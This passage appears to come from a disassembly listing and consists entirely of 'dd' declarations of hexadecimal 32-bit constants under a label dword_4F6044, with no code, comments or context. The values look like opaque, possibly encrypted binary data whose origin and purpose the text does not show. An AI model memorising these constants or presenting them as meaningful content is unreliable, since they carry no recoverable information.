		dd 5E289930h, 0B020A357h, 0DE883951h, 3E92F03Ch, 2144232Eh
		dd 0F521D151h, 52117D6Fh, 0EF291704h, 0F8214405h, 4A045388h
		dd 0C4CAE831h, 0EA136B2Dh, 2F12751Eh, 662A4BBAh, 45C0C833h
		dd 1469E37Dh, 8EF9574Bh, 0A115D7EBh, 3B16A3A1h,	0FE0150C1h
		dd 883B2321h, 0BA5F39E2h, 0FD309AD9h, 0CE060E68h, 52F24B6Fh
		dd 0B3619AFh, 6C08715Bh
		dd 7FCC00A5h, 47E9320Dh, 627D9638h, 300216A6h, 10965DE1h
		dd 0B70B53F4h, 12F930BBh, 6A1D41B8h, 5D65EE2Ah,	0E5FC2FB5h
		dd 0FCE89F60h, 687A07C5h, 4E2D6A7Ch, 8F5A4892h,	62BA8056h
		dd 4C583E79h, 3D25201Eh, 3C144EBEh, 18048267h, 0C21C7817h
		dd 486A7B40h, 6B4C51C1h, 305F001Eh, 5D51679Ah, 5B34C9A0h
		dd 0CC120D7h, 19C305E3h, 0AB12F33Dh, 92F9401Eh,	5A615315h
		dd 2C19F1B5h, 23E78843h, 0A9A3108Bh, 0EAD500DFh, 0E5463CBAh
		dd 0EE37C43Bh, 55998DF0h, 0C47BE9A5h, 0C2BC0908h, 333E7D02h
		dd 55E6A940h, 0F12DFC2Eh, 8D71E984h, 312DF9B7h,	57E23AFDh
		dd 0E688977Ch, 80C11DA0h, 0ABF18105h, 745E1149h, 86837DC0h
		dd 6DBE9AD7h, 0F8FE9809h, 0F1E5FF7Fh, 91A96FCBh, 7B03E9B1h
		dd 57BBC400h, 0B578156Ah, 0CDF71641h, 0A0EA7052h, 249B9B4h
		dd 0C6792CE5h, 0B484BFB2h, 0D6F60570h, 0ABF1D312h, 9281AA65h
		dd 0E1765BEEh, 44A17015h, 0FC354017h, 9868A086h, 72775E28h
		dd 52825809h, 5B0516EFh, 75B1E5C2h, 27C70CCCh, 0C2F2FC28h
		dd 6479F7A7h, 6037E4CFh, 1DECCABh, 0AD53F928h, 81E4D758h
		dd 2F587D4Bh, 4E00C37Bh, 4AF80F4Ah, 5D28FA4Eh, 0AD165BE1h
		dd 0AB2D8036h, 0B0654718h, 7055187h, 628DB46Fh,	0B9043B92h
		dd 75254A66h, 1D2C6188h, 9F7E3801h, 0F360C6C9h,	0E1051D4Ah
		dd 2FC8504Fh, 302CFC00h, 80317D16h, 554C61E9h, 2FD8A6FDh
		dd 3255624Dh, 0F573FD24h, 0ED09D5A4h, 7B7EC8E6h, 2E082664h
		dd 8EE9449h, 5AE95F05h,	218A750h, 2D4F8A68h, 0B28B4055h
		dd 21E79D66h, 7B89FA89h, 6602098Bh, 75CB4256h, 0B6D63760h
		dd 0DE30F813h, 0EF1031CBh, 0EA680C39h, 40A91525h, 0F84B019Dh
		dd 8ABF26EEh, 0E9D948BDh, 28209288h, 27286851h,	41538959h
		dd 4BAFF02Dh, 0AA3DC475h, 495BDACFh, 8EA91440h,	3A4FD35Fh
		dd 9FFAABA5h, 5A4DC649h, 0E9C55EE6h, 93AF0D9h, 0C1001998h
		dd 0F12D07E0h, 0BCACDF4Ah, 9B422521h, 0E8D8C704h, 3CBA4E52h
		dd 0DF975425h, 0F1556AB2h, 720362C7h, 2D64ECD5h, 934C28FFh
		dd 0AB363095h, 408262h,	5680490Bh, 1A982A68h, 542F01Ch
		dd 58491031h, 9309C248h, 1B7F21F2h, 0C15D430h, 7C8EB078h
		dd 1AEB1CA7h, 1644509h,	76E681CBh, 0E0C7FF60h, 8354BCF5h
		dd 0C9A4385Bh, 0C5C2072Ch, 8946E9C7h, 27DE737Dh, 7B2FEA74h
		dd 0DDD64B21h, 1ED8B43h, 51BE563Eh, 6F146622h, 0EE83DEC1h
		dd 1E5E74F7h, 6599D9BFh, 0BBF76575h, 70DCA02h, 715E2BEDh
		dd 0E6C3E905h, 0D1E4D124h, 60C6417Eh, 9C07200Bh, 0F889DB91h
		dd 4696D3h, 0A34BD4Ah, 0ED816170h, 50BE873Bh, 404AE3F8h
		dd 267DC78Bh, 0C2EB4A07h, 0EE595525h, 0AF6BEC0h, 46560CDDh
		dd 77D8EED1h, 2B6E851Dh, 1FD2EF81h, 506B0922h, 5E270810h
		dd 0C690A07Bh, 3FE95781h, 0EE738123h, 50EA4BDFh, 6E6D062Ah
		dd 0F53DF1AAh, 56312F39h, 50812DF8h, 2C14E01Fh,	624A27E2h
		dd 0BDDF80D5h, 9E6D2871h, 77A5097Eh, 6F614F5h, 8A1731BAh
		dd 68133633h, 0A0CC51F6h, 503112BCh, 4A310113h,	6063B237h
		dd 494B03A5h, 0F220C7B1h, 0DB751224h, 1BC2EA77h, 4635ED5h
		dd 8205EFC1h, 0E47588E3h, 672BF01Fh, 558D052h, 0C07AE8F3h
		dd 0E9D88850h, 3291634Fh, 0AECC322Ch, 7605FDF0h, 0F6241280h
		dd 0E60AC1DEh, 0F2E8EB6Fh, 5A70F030h, 0D305D597h, 2043EDACh
		dd 8E292D24h, 5CF46FA0h, 6AF5651Eh, 4A083D10h, 96FB27D4h
		dd 72C748Dh, 66331280h,	3B0631CCh, 3EE91660h, 0E13EADE5h
		dd 81D50138h, 0AE376F5Dh, 0D6087092h, 56C78034h, 8147757Fh
		dd 5DB2CF00h, 6CE925EEh, 8229B4E2h, 0CA619BAh, 9A20166Eh
		dd 0DCD49DAAh, 9B477F6Bh, 7319752Dh, 0B165244Dh, 2F499F77h
		dd 32E05B33h, 4C0A13E4h, 1F5A66Dh, 0FD6297EFh, 4D204F12h
		dd 4072418Eh, 6B6807EEh, 223004B0h, 39F2B7DCh, 664C0CE2h
		dd 0BAAED629h, 0B0C61BC0h, 0BA6C1E2Fh, 4EC7A0FAh, 619E3C0Eh
		dd 1F54CDA4h, 809393C7h, 4E10F8E3h, 83F5C297h, 4AB5331Dh
		dd 0F50FEF4Ah, 0AFFB455Ah, 0EFDBD9AEh, 1B0FBB59h, 0B1E3742Bh
		dd 2CA7591Ah, 7CB76CF0h, 1E370091h, 83E94016h, 7831559h
		dd 4E42209Ch, 858D30A3h, 58AEA7EBh, 33824BE5h, 0DFF35D46h
		dd 45F1C003h, 971807E2h, 0C0255136h, 7910EBCEh,	0B2243361h
		dd 0CBE1E1Bh, 0AE7D3604h, 500B8069h, 5F48BE4Fh,	0C3C46E97h
		dd 0E1DA796Fh, 0F070F731h, 98175DFh, 64FD2489h,	88A6B377h
		dd 0B7FB4FF1h, 0FEE61EF8h, 4274E91Ch, 54D65C2Fh, 0B4DF17AAh
		dd 0EE45BDA4h, 61E3A012h, 0EA4E582Fh, 9FE88326h, 0CC63680Bh
		dd 0F50D289h, 6F9FC243h, 57D90B9Bh, 0BF3E8285h,	40E34C1Dh
		dd 0C4599F4Dh, 8E7E75h,	0BE4D95BBh, 194904Ah, 7D3E0776h
		dd 3B74C5E9h, 6885A3E2h, 1006BDFAh, 0B05A84F5h,	6BE62837h
		dd 68479705h, 8DE37D9Dh, 0C0840148h, 1B89082h, 215B5DEEh
		dd 2C68A5C8h, 0CFD17E1Fh, 0A450E6Bh, 0D49BF5ADh, 0DA46EDDCh
		dd 0DF7FC21Dh, 67744642h, 0C050ABEFh, 165D059Bh, 6570A311h
		dd 5B62BEC8h, 202DDC8h,	1C5F2D5Bh, 83D32506h, 68E1B45Ch
		dd 5FC248ACh, 8B71C07Eh, 6DEEF7EEh, 7D771024h, 94729641h
		dd 80E15E93h, 4D06252Eh, 8CF47073h, 4B306D4Fh, 48252A64h
		dd 3902683Eh, 4710822Bh, 6B2252E0h, 925DF70h, 76B377EFh
		dd 0F42309CCh, 577B278Bh, 0D1C497BEh, 5EC2A521h, 73985F02h
		dd 0C69560C0h, 23E2551h, 0DDE97779h, 0F6E997B0h, 1E8D994Eh
		dd 0F964F47Eh, 54E8792h, 0E47AC4E9h, 26EA97AEh,	0D2764377h
		dd 57956A3Eh, 555280FCh, 8150BEFCh, 0C87705E9h,	0AA513C0Dh
		dd 58100CE3h, 2F587Ah, 5FFE095Eh, 0BBDE681h, 5622A562h
		dd 7C2AC5C9h, 7D0B7D0Ah, 0FC68802Ch, 16AB2454h,	6B39BE5Ch
		dd 1220C220h, 0A1D1B283h, 6D49702Bh, 60020BBBh,	0C042C379h
		dd 5A0886FEh, 0E4B7C070h, 1917B371h, 2CFACE89h,	34F6F540h
		dd 5F772586h, 431525A2h, 7116154Ch, 40B87021h, 205A894Eh
		dd 66E6E972h, 8B5FC79Dh, 6848809Eh, 0EA83F0DCh,	4A27C0E3h
		dd 0D0F6808Ah, 882D3417h, 80B2170Eh, 0ADE9DA30h, 914BBF5Bh
		dd 42B703A6h, 0E25B753Ch, 0D8CCE961h, 844AB93Fh, 44FEB168h
		dd 168263FCh, 5F059149h, 192D2320h, 7D1FC569h, 728D029h
		dd 56C7E92Fh, 0C2DC2DA8h, 745925Eh, 163813C2h, 955D898Bh
		dd 0B6E9897Eh, 8019F178h, 9406FEC3h, 4D8BA360h,	54054AC7h
		dd 1692352h, 0F3F016F1h, 0DE127A48h, 7A49D9AFh,	5FDECEA0h
		dd 1B798813h, 0DC016941h, 0F26E4D2Fh, 350EC1BEh, 0DA83088Ch
		dd 73AD227Fh, 7EBFF5B0h, 315A87FEh, 0F6100B1h, 490D226Bh
		dd 20F075C2h, 61D1BE07h, 7BD4088Bh, 772419B0h, 0A898FA96h
		dd 0FE5EF5BDh, 0B8C85B95h, 99C3A799h, 0B31809EFh, 7052822h
		dd 0BBBDA0CCh, 0F6387A01h, 5BDD2135h, 28449A84h, 0E86A81F2h
		dd 971FF1E9h, 3A045C2Ah, 8003AC3Eh, 0EE824DF5h,	4F5A1F50h
		dd 0EDAC0EBFh, 0D2E9CE01h, 0C7E95489h, 0E54FD0F2h, 21725B68h
		dd 0EDA2D063h, 61B5C845h, 3FD4829h, 715F0840h, 0D5F7024Dh
		dd 9349E952h, 279A44DFh, 0FDE4481h, 9697E961h, 0A5178354h
		dd 0BA7DC1E1h, 7E6DC802h, 0B3DE5E1Eh, 0D858A7C0h, 0CDE91238h
		dd 3EC8F574h, 0CC304E4h, 52B55ADFh, 2117DB0Ch, 4353DE95h
		dd 1276F408h, 2BA60053h, 0BB6E0507h, 0F3203500h, 5AD329CAh
		dd 0DCDB5AF7h, 305CD05Ah
dword_4F6044	dd 0B22671C8h, 0D3C00909h, 0B010BE42h, 0D4614C98h, 1AFBEE81h
		dd 0DC902A97h, 953D4068h, 0E74E90B2h, 394C1B20h, 0CE0CF387h
		dd 3108D1F7h, 0E9DEC8F1h, 0D9852B2Dh, 68700D19h, 2054CC0Eh
		dd 19464B3Dh, 0D6230FF0h, 0C25AFCDCh, 5C506852h, 8073EAAh
		dd 810082B1h, 0B52F72EAh, 0B159B073h, 0F8D81D19h, 5D46C85Fh
		dd 65C75414h, 382E059Ch, 8C003217h, 41EB0C8Fh, 0FDE91645h
		dd 7E8558B3h, 7995E2B1h, 6DAE8343h, 0F3B02546h,	0C2F65582h
		dd 8A40CCAAh, 0C79D107Eh, 0F0C425E9h, 78E5E92Dh, 62F9BD65h
		dd 0F634EB6Fh, 89745294h, 0A08F6650h, 0BB5677B8h, 0C6AE3CD0h
		dd 0D24A9FA0h, 0C009FE5Fh, 3D35F5Ah, 0CB02C30h,	9D873F6h
		dd 0C205E9B8h, 0C3295157h, 104A34B7h, 891804A8h, 0F20D2A9Fh
		dd 2F4C3509h, 0EDC10205h, 4E246329h, 638AAFECh,	0F740FA5Fh
		dd 1790C46h, 19C98E54h,	2FD9555Ah, 0D94F57C9h, 28AFD634h
		dd 0D4EE97Bh, 0FD562282h, 0AD727EEAh, 0AFDD2B33h, 21BEF8E3h
		dd 68102C31h, 38013B8Dh, 0A6E940E0h, 0E2603486h, 54DE2827h
		dd 4E4FE2AAh, 0CD879A48h, 0F29F7A92h, 6BC41D17h, 0F2EF8164h
		dd 3A563025h, 2F08A250h, 0BA0F35Dh, 47579EE1h, 0DF5C9E96h
		dd 28167DE3h, 0E72704D0h, 0BC3B888Bh, 294D4E16h, 0C125E4F9h
		dd 7CACA3FEh, 0A0AFFC25h, 104A0BCBh, 0EC84287Fh, 807A902Ch
		dd 68162FCEh, 6C3119B4h, 0CDF5BAB5h, 0E1769841h, 0C54AEC7Ah
		dd 0E6BA8DA9h, 452D7BECh, 0FF95CAF0h, 78D97BCBh, 0DC16AF83h
		dd 71C6E7ADh, 2A16ED49h, 0A2EE61A0h, 8C484308h,	6B84F116h
		dd 7AE964ACh, 38E9DF3Ch, 0FB5E177Ch, 4366F66h, 7F37A568h
		dd 8111882Ah, 638459D6h, 0A5F1A2BBh, 42FF8EAAh,	0CCAEB415h
		dd 0DB25E982h, 52BE23D9h, 290C0472h, 0FAC468C3h, 2F209136h
		dd 43A27125h, 50095413h, 1ED797F6h, 8B5430A2h, 6391E908h
		dd 12ED659Dh, 138A0158h, 3037943Ch, 45703ACEh, 0EB41DC97h
		dd 0B882DBA5h, 962C4E05h, 0E5484DDEh, 0CF379D10h, 58AAC55Ah
		dd 655646E4h, 0BCC01E8Ch, 0CFCE3314h, 5E25F757h, 0BD5B73CAh
		dd 9EE9E1D0h, 6CD8F12Eh, 83D2DE91h, 57B82B80h, 4896013Fh
		dd 976DBC25h, 0FD8EFC39h, 4FEAADC4h, 0E2E9EB34h, 55F3C58h
		dd 0EEEAA229h, 0B5DB5131h, 4FC8B22Eh, 0A24D12EAh, 43B9323Bh
		dd 4F7E555Bh, 85205CD9h, 257C1226h, 0C76B848h, 4821ED34h
		dd 3D84A5C7h, 85E95AA7h, 8C887FE6h, 8864285Ch, 0C11D55A5h
		dd 43A6B43Bh, 29CD7962h, 0B77461DDh, 68E0D300h,	0AD91CE5Ah
		dd 5D3C946Eh, 483A0B92h, 0BA006250h, 36ED08E3h,	12B9F281h
		dd 17FC635h, 2B3D5639h,	0A2853B49h, 7A7F9Ch, 8177BD59h
		dd 226D30C9h, 0F1004C76h, 0F053825h, 992C9AE9h,	0B3562F6Ah
		dd 16EF2644h, 2A4712DBh, 6CF85F03h, 7837E9A0h, 0DCCA90A9h
		dd 69BD1C67h, 0DDFC5F0Fh, 769BDA0h, 4E11324Dh, 1A2B1606h
		dd 1EA0663h, 0C4E5B7Ch,	80C92FBDh, 5279F9C2h, 0EE0CB01Eh
		dd 603EED02h, 3F685AE4h, 1F67305Ah, 710D8AA2h, 379E8501h
		dd 0E640BB1Fh, 0E0C865F1h, 7BE92ED0h, 2CF1AC66h, 4BD6108Dh
		dd 74C8E7C1h, 503FBA00h, 0A05B0937h, 41AF2032h,	0DF78F69Dh
		dd 0E22DAD01h, 0EC7B2860h, 56B57664h, 4F9F4294h, 0A4FB33D4h
		dd 1365A104h, 0E8BB13FEh, 0AF130B24h, 6183F778h, 389AFC7Eh
		dd 5520305Ah, 52660F33h, 0D824D7B6h, 91FA13C2h,	9DFC9BC8h
		dd 27D6E78Fh, 7BD0FF0h,	7DC3C6B2h, 0EA9BB29h, 58A0D155h
		dd 171D5905h, 39431BCFh, 0D078187Eh, 5A11024Ah,	41D2AC25h
		dd 1180D607h, 0FCBBF57h, 47300E7Ch, 21F7DC56h, 0AB144820h
		dd 4643C30h, 0B12F51A6h, 487D74Fh, 0DAD7093Dh, 4B0C70C4h
		dd 3251C8D8h, 0CBA7924Bh, 27D4A24Bh, 55D2E276h,	112D34BCh
		dd 5D35149h, 0A8299968h, 406FC4B8h, 7EF94A1Fh, 0C298B90Dh
		dd 540D852h, 0E910A905h, 0F5407C2Dh, 64ABCEBh, 4C65B860h
		dd 0FAD766F7h, 7F7DE24Eh, 0CC0350Fh, 174F0C07h,	8C58D5E9h
		dd 682F51C8h, 0FDB47F60h, 69DAE913h, 8E73E69Dh,	0A33D6512h
		dd 62C58522h, 0E47EA2AEh, 6E4C53B8h, 13030684h,	2604CEE7h
		dd 0EF557417h, 8070AD4h, 274835Eh, 0C431CBFAh, 7DECA7E9h
		dd 0F014E95Ah, 52873BDh, 62E93FF7h, 6974B359h, 0B303302Eh
		dd 1CAF0B3Fh, 882079E9h, 0E2BE6656h, 8F574A3Ah,	22581EBFh
		dd 0C0E7CF81h, 0BD95325Ah, 495AE0FEh, 0F1305695h, 0EEABC72Bh
		dd 6A436054h, 53025758h, 0E1209368h, 0F21E00Bh,	97F59E7Eh
		dd 0BE2D52CBh, 162ABD3Dh, 0BA03C51Bh, 0E9A165A2h, 0E6D7F297h
		dd 31B50F7Eh, 88AB3CA4h, 0AB5F20A4h, 9084309h, 5D12621Ah
		dd 23034BC2h, 0EBA54F29h, 754FEBCAh, 477B0127h,	60034455h
		dd 0C2CF327h, 0EF02CB01h, 82824823h, 0E47FD39Eh, 1F54349Fh
		dd 32D303BDh, 697E7634h, 0BA609325h, 178AF6F1h,	0C01444B7h
		dd 0F19281E1h, 93AD6F83h, 505DE909h, 0E00BE37Ah, 6DA629h
		dd 59D622FDh, 0E94AB092h, 51E60B2Eh, 886A65F5h,	38883CD3h
		dd 12AD2444h, 58D9B08Dh, 54EB8BBBh, 0B45BCB87h,	0E6EEA53Dh
		dd 549A95C4h, 0F7BAB87Fh, 21FEB7D6h, 0DA151162h, 49541F71h
		dd 0E967D41h, 0BD88EEE4h, 28215A2Eh, 170BB4ACh,	82D9F480h
		dd 0DA7D072Ch, 4053073Fh, 62294414h, 8A9BA52h, 0B1DC5D5h
		dd 0B8395158h, 0E9C78B59h, 3B39D0B8h, 9293E5D1h, 7C24BB70h
		dd 3C0803C5h, 0F12D02FEh, 0E0DDD469h, 1322ED23h, 0E14B0CBEh
		dd 2306A85Dh, 92EC306h,	0F0C2D78h, 0E6CBE44Ch, 0EF5BD825h
		dd 0D74F4801h, 0E17F6DC8h, 68AC2ED4h, 2DE74117h, 2C31C1DBh
		dd 0F616C3B7h, 2F047EDDh, 5FB24633h, 2426EB60h,	7E479125h
		dd 0A008A01Fh, 0BDC56ED7h, 0F352C35Eh, 0A6E996E1h, 495E17DAh
		dd 0ADA1A0E8h, 0F03101FDh, 4A158C70h, 0E188FA8Ah, 689840B9h
		dd 5091D24Fh, 1E343EA3h, 51C801FEh, 889CB753h, 41AF20FDh
		dd 32BBC95Bh, 38A2059Ch, 6606B352h, 6BBE30CCh, 1CC6C3F5h
		dd 43BBEB12h, 0AF4BC8B8h, 0F828BDD1h, 0E485BC2Ah, 3E169C2h
		dd 5BB9DCF6h, 0B5E22F78h, 0DCE4AB89h, 8B4B920Fh, 24A56944h
		dd 3CC7216Bh, 557AF6E0h, 0A2324B65h, 820B9258h,	0CA554340h
		dd 0FD95DC1h, 1C068C1h,	1902306Eh, 20E7A94Ah, 0F19D3A90h
		dd 8251E2F4h, 933D77C5h, 322780Bh, 19ED686h, 0CD80C5FEh
		dd 0CCF5CC2Ah, 23B0EDECh, 13ECB326h, 0ECDE8889h, 86312539h
		dd 0A068DB90h, 0E3E3234Ah, 6542C4h, 0EB80E328h,	6938B1F1h
		dd 95A84h, 0B551C328h, 0CDFE3E0Ch, 3545F617h, 0F1D02130h
		dd 3BC0581h, 0F24E5148h, 34EED234h, 7E23C2F7h, 7B136D8h
		dd 293D8B52h, 325FBC4h,	0E9A4C580h, 480475CBh, 0E8C0E634h
		dd 50652E81h, 98EE3A64h, 6B125D0Fh, 0FEA6FEB4h,	2875EF05h
		dd 77E7AC96h, 0CF3D94F7h, 0B768209Fh, 61F957E3h, 7B9A84Fh
		dd 0C57560FAh, 63A6A9A5h, 5000F20h, 72757C88h, 0A12DF801h
		dd 0B66B5F07h, 3D2F165Eh, 7654D6E3h, 2D0640A6h,	294E0D0Bh
		dd 98FE22Ch, 0C293F407h, 770B4BFCh, 84166A0Bh, 0E984B605h
		dd 5D45313h, 63AB85C1h,	662CF24Dh, 0EF817B5Dh, 3B76E1E9h
		dd 1642023Ch, 0D3280E74h, 0B1B02E19h, 19F90113h, 0CFE90C00h
		dd 8820B751h, 5AD53061h, 595FEAFCh, 0E9C272B9h,	8C9B8287h
		dd 526AB22Fh, 0A8BF5BB2h, 0AD129287h, 0AABAC4EBh, 0E7ECEFA5h
		dd 5E0C7D35h, 0F764E43Ch, 102BA00Bh, 0C6C781E8h, 0B57ED722h
		dd 2ABDE0BCh, 2848BB30h
		dd 5E7DE5D0h, 4064B1A5h, 0E476E912h, 24717BBFh,	14F00994h
		dd 388CE5F4h, 168C23D0h, 0B0C2C2Fh, 0AB6601FBh,	97E3DA9Fh
		dd 0AAD7AC62h, 53A73E79h, 6850031Fh, 25126F61h,	0BE4B434Bh
		dd 80D529D3h, 0F27B3FB6h, 6B37B019h, 445F0D3Bh,	0F9535A20h
		dd 755DA1D9h, 0B0EE36Eh, 5F552B44h, 7A896C8Bh, 4C060609h
		dd 0E700607h, 5095EB7Dh, 4BF8B005h, 57098C74h, 58BD6812h
		dd 2BC03DBFh, 87045EA2h, 0EB54FB1Dh, 708501BCh,	92A2E325h
		dd 5258F0BAh, 4E68660Eh, 4A629475h, 0C6DD90FEh,	6D3FF863h
		dd 73814ACBh, 0BE00823Dh, 0F41677D9h, 92D4627h,	0D7DE2060h
		dd 0C704BA21h, 5F5D631h, 6D1F127Eh, 0F8A02A23h,	0F60E40CBh
		dd 0FC0416D6h, 0BF123F3Ch, 0E2FA7494h, 0D7839AA0h, 0C434209Eh
		dd 99145A8h, 10AAE3E1h,	25E4FDFh, 0EAC15A14h, 0ABDF8660h
		dd 0CB001192h, 0F3BE5651h, 0B772384Fh, 244B66DAh, 0DEFB9C85h
		dd 5D0C69E6h, 0D38B97DBh, 0C447D3Eh, 9979A22Dh,	0D9EBF721h
		dd 0C47CEA57h, 7D12F381h, 5E42CEFh, 76A234B6h, 92F510AFh
		dd 0B3808C20h, 4318BCBBh, 79361259h, 50973C27h,	44238E1h
		dd 94E87469h, 3460BD05h, 8E9DDA21h, 0DA72E3CDh,	6A656882h
		dd 0EC5CB59Ah, 0D9E95A40h, 0EA7B39Ah, 0AE124F57h, 0A500A19Dh
		dd 0CFDE7FD9h, 4E82C684h, 7A7623B9h, 82066F97h,	5A4E4B87h
		dd 0B176F35Ch, 0E96CE768h, 71F4E90Bh, 22091F52h, 0DD5DE12Bh
		dd 576072C2h, 0EB2DB9D7h, 0BAABF5DDh, 3B9F81F5h, 283B7B72h
		dd 0B800505Dh, 5AF40262h, 2D4A2BBDh, 0FF425C99h, 0FCBE8277h
		dd 6268016Ch, 851D5725h, 313881DDh, 9EE12A5Dh, 0E70E1D6Eh
		dd 0DE89127Fh, 0BC72575h, 5A847427h, 6B806254h,	0E92CF17Eh
		dd 7B7F4136h, 0B7AF31A0h, 39F789E8h, 2A357017h,	0D85BC4F8h
		dd 0B90551FDh, 108206DCh, 9410FCB8h, 148A2879h,	0AA800237h
		dd 0A47397E2h, 0E1BAED96h, 4F2E2861h, 0BDA83BA4h, 0A0F2FDA0h
		dd 0D12CC38Dh, 68414729h, 237D6A1Ah, 0E90642B4h, 74096B52h
		dd 8ED72559h, 85EEB2D5h, 0BEDE00DFh, 2A187B37h,	6327E913h
		dd 2B9029ABh, 23CBA8F9h, 40F0C9E3h, 4B1D452Fh, 8100DDF7h
		dd 4667D6CDh, 0D3E2CF74h, 0E9F4FE80h, 0D99F825Bh, 0E3A56F33h
		dd 0B9A2EE65h, 0FB96F012h, 0D1A97234h, 0AD5F2A4Ch, 775925CAh
		dd 9F2A2867h, 41F7D4B5h, 963F9D68h, 6055A86Dh, 261ADF02h
		dd 90E74F9h, 1B555F21h,	850CC92Dh, 110BB900h, 0BD089B01h
		dd 7D6A6626h, 0E366EF3Bh, 0AAE91EDEh, 8EF8ED30h, 0B8896FBEh
		dd 6CB3FF75h, 5D486D2h,	11FE5014h, 0ED02F618h, 39C33608h
		dd 10069C40h, 540662Eh,	7A442501h, 0D6712B1Ah, 0EFBF492Ah
		dd 0D9AB43F5h, 0F0299DA5h, 0C562B22Fh, 7F105281h, 28FAE965h
		dd 68FB4BFAh, 3DFCE9C7h, 2D583AC0h, 0A0A143C6h,	9D0FEE85h
		dd 1E9C43D1h, 89A2B1C2h, 0B21857FDh, 664134E9h,	0F0FAE204h
		dd 4A605E97h, 5AE40F11h, 27680156h, 0E90EA317h,	2F4C6CCDh
		dd 3F2EC55Dh, 0FD885593h, 0E97D25B2h, 0C03BDD7Fh, 68F03E2Ch
		dd 3A8834Bh, 0C7D2775h,	70F55418h, 2ED94697h, 9717921Ah
		dd 0A59BA58h, 433B4B82h, 0D70A377Fh, 0F18159E0h, 6B0E7B0Bh
		dd 25287C6Eh, 0B94083FEh, 0C1338C57h, 245DDB24h, 91206060h
		dd 71900E12h, 7DCCCEF5h, 38943B75h, 51BAE302h, 0CB600D79h
		dd 0AF2C5FD5h, 0C8023518h, 0C12F2A5Eh, 0ED50D6A8h, 2555BAC2h
		dd 96D51C26h, 3B4E33E8h, 78075E2Ah, 104B02A7h, 0BECB8120h
		dd 7B8D311Eh, 0F53CFE5Ch, 40972C79h, 611EB99Ah,	0F55250F0h
		dd 4B085B10h, 0E9124BFDh, 2830456Bh, 167AC3F3h,	89F773D2h
		dd 539C7F2Ch, 50C9DCB7h, 0C6A63530h, 128DA6C1h,	0D6F970E1h
		dd 0EBCD432Ah, 69A0D28h, 506A57h, 0CB685F08h, 626D9C7Dh
		dd 0ED204313h, 7B390AB5h, 7D6F2014h, 71205576h,	0E7FA9F77h
		dd 0E89B2B2Fh, 3F575F4Ah, 26006DBFh, 22CF816Ch,	6A48B378h
		dd 2C2D013Dh, 0FE31B21Fh, 4B0B626Ah, 0D9BDC458h, 0F8E9E9C4h
		dd 6E3C7536h, 68484A1h,	0F4409068h, 25961B8Fh, 6465AC4Ch
		dd 0B4D59DAAh, 824F5AC4h, 0CDC003FCh, 1321F08h,	8044E59Dh
		dd 0AFBA5250h, 605B7305h, 0FC4E2FFCh, 13213B6Ah, 0A4E0C1E9h
		dd 63681259h, 104EB377h, 5F00C03Fh, 0EB2DE801h,	79509E7Eh
		dd 0ED523067h, 4BAD1BD2h, 0CE9ED9A8h, 0BDB0492Bh, 6631F1F8h
		dd 8E04BF31h, 11F95C03h, 7BB625D8h, 9D069EB0h, 5443A77Dh
		dd 83B8E762h, 5A60225h,	3951BE0Ch, 8FEB04B3h, 685002C7h
		dd 69A25CD7h, 64DE2003h, 57421BE2h, 620296D1h, 422EC54Eh
		dd 0B07263D4h, 0BD54463Ah, 0B9E944C0h, 5D98B15Ah, 0F502E5Dh
		dd 19F7076Eh, 68627064h, 249B07FBh, 0ADE89B0Ch,	7D2D13BFh
		dd 0E7690108h, 601914BAh, 3509CF53h, 552B8D38h,	71A00B82h
		dd 44674B80h, 0B69F2C08h, 0E5E9125Eh, 77B7ED59h, 4458A42Dh
		dd 4BEA90FEh, 2B90B12Ah, 3E65B7B7h, 0E3F982B4h,	18DD6C62h
		dd 5F0368FAh, 38153349h, 31F1AF9Bh, 0F6B86F4Ch,	8FD75489h
		dd 10853733h, 0C42EE2ABh, 0D1073913h, 97EE27E6h, 0B012BCBFh
		dd 0C0FE3007h, 0D012B753h, 8E0F7E7h, 0C7388057h, 12CF33D8h
		dd 0D728B2B5h, 40BFA43h, 55AE5CE9h, 0B6208714h,	0BF2FFF7Ch
		dd 2FE9E178h, 6BD938C8h, 822E3F70h, 0D52E078Ch,	0F6135326h
		dd 514FCE07h, 2BA4004h,	24C7278Eh, 8528607Dh, 67980A5Bh
		dd 20E8F729h, 0EF72B508h, 71B56BF4h, 0A85E9737h, 17FF4F74h
		dd 4C7B632h, 76C2E9FEh,	0FEB8003h, 3E7384C1h, 0FC1848E3h
		dd 0E82110B2h, 62A45D5Eh, 55924339h, 0D3E83E0Dh, 0B08DECB5h
		dd 97389968h, 164EC79h,	771764B7h, 1A5A280Fh, 75473D5Fh
		dd 78D1459Ah, 0ED30D9F7h, 94F21666h, 0AD0D0011h, 2968C527h
		dd 82CA0FDh, 0DF328095h, 0C120A563h, 8911EB9Ah,	6E3164h
		dd 0F4029DACh, 0E9562E61h, 0FC6FBDA7h, 75FBE2D6h, 0EC51DF09h
		dd 0C387785Ah, 0CBB1E903h, 0FDBB0A25h, 0DF891003h, 0CF68CCE2h
		dd 71096A05h, 5D4872AAh, 99E0818Ch, 833AD728h, 55ACE726h
		dd 7B161A86h, 0E3EB04F4h, 0AD425470h, 2208410Fh, 43C710A6h
		dd 68C4E34Dh, 0EEE596D2h, 2E805440h, 134F69EFh,	5C5808C7h
		dd 0ABEC5712h, 0B139FC4Ah, 0F2347F89h, 52DB0EF6h, 0D6A24EB6h
		dd 0F275C6FEh, 3BE0B7CDh, 8082E61Dh, 0EFC077D3h, 95E7E605h
		dd 0E962D48Eh, 2805C485h, 0A9D213BAh, 4CE9A1AEh, 0A35F7368h
		dd 29E984BBh, 82FF6B94h, 36F87C2Eh, 55C63109h, 25BBE4BDh
		dd 69DE56CFh, 0C6417B62h, 86681C95h, 96FF2F77h,	72712F6Eh
		dd 2886CB5Bh, 90BF66EBh, 0BDCE4025h, 0D1060313h, 17B50E41h
		dd 0FF2E4AA7h, 12086A10h, 1E07EE9h, 0B2F59D5Ah,	0C8587DAFh
		dd 626CD997h, 4265AA0Ch, 0B736EC2Dh, 0E989C1D4h, 5BB341B7h
		dd 0C9B5BC43h, 5079F3B0h, 0B745CCDEh, 4F04C517h, 29D3FA67h
		dd 3E68B1EAh, 0BFE4CDF9h, 0D9C77428h, 2E5B02DDh, 0CDB40BBFh
		dd 4858FD40h, 56354003h, 204B2360h, 0CC96C80h, 0E94457B2h
		dd 0F45331FCh, 138448DBh, 73AA7FF6h, 0EDE1521Ch, 0BD3A8139h
		dd 6157267Bh, 1968D082h, 0FE573610h, 2A421h, 9F348FAFh
		dd 590CD01h, 0D5528969h, 5C827FD3h, 0C664ED68h,	0E95113D3h
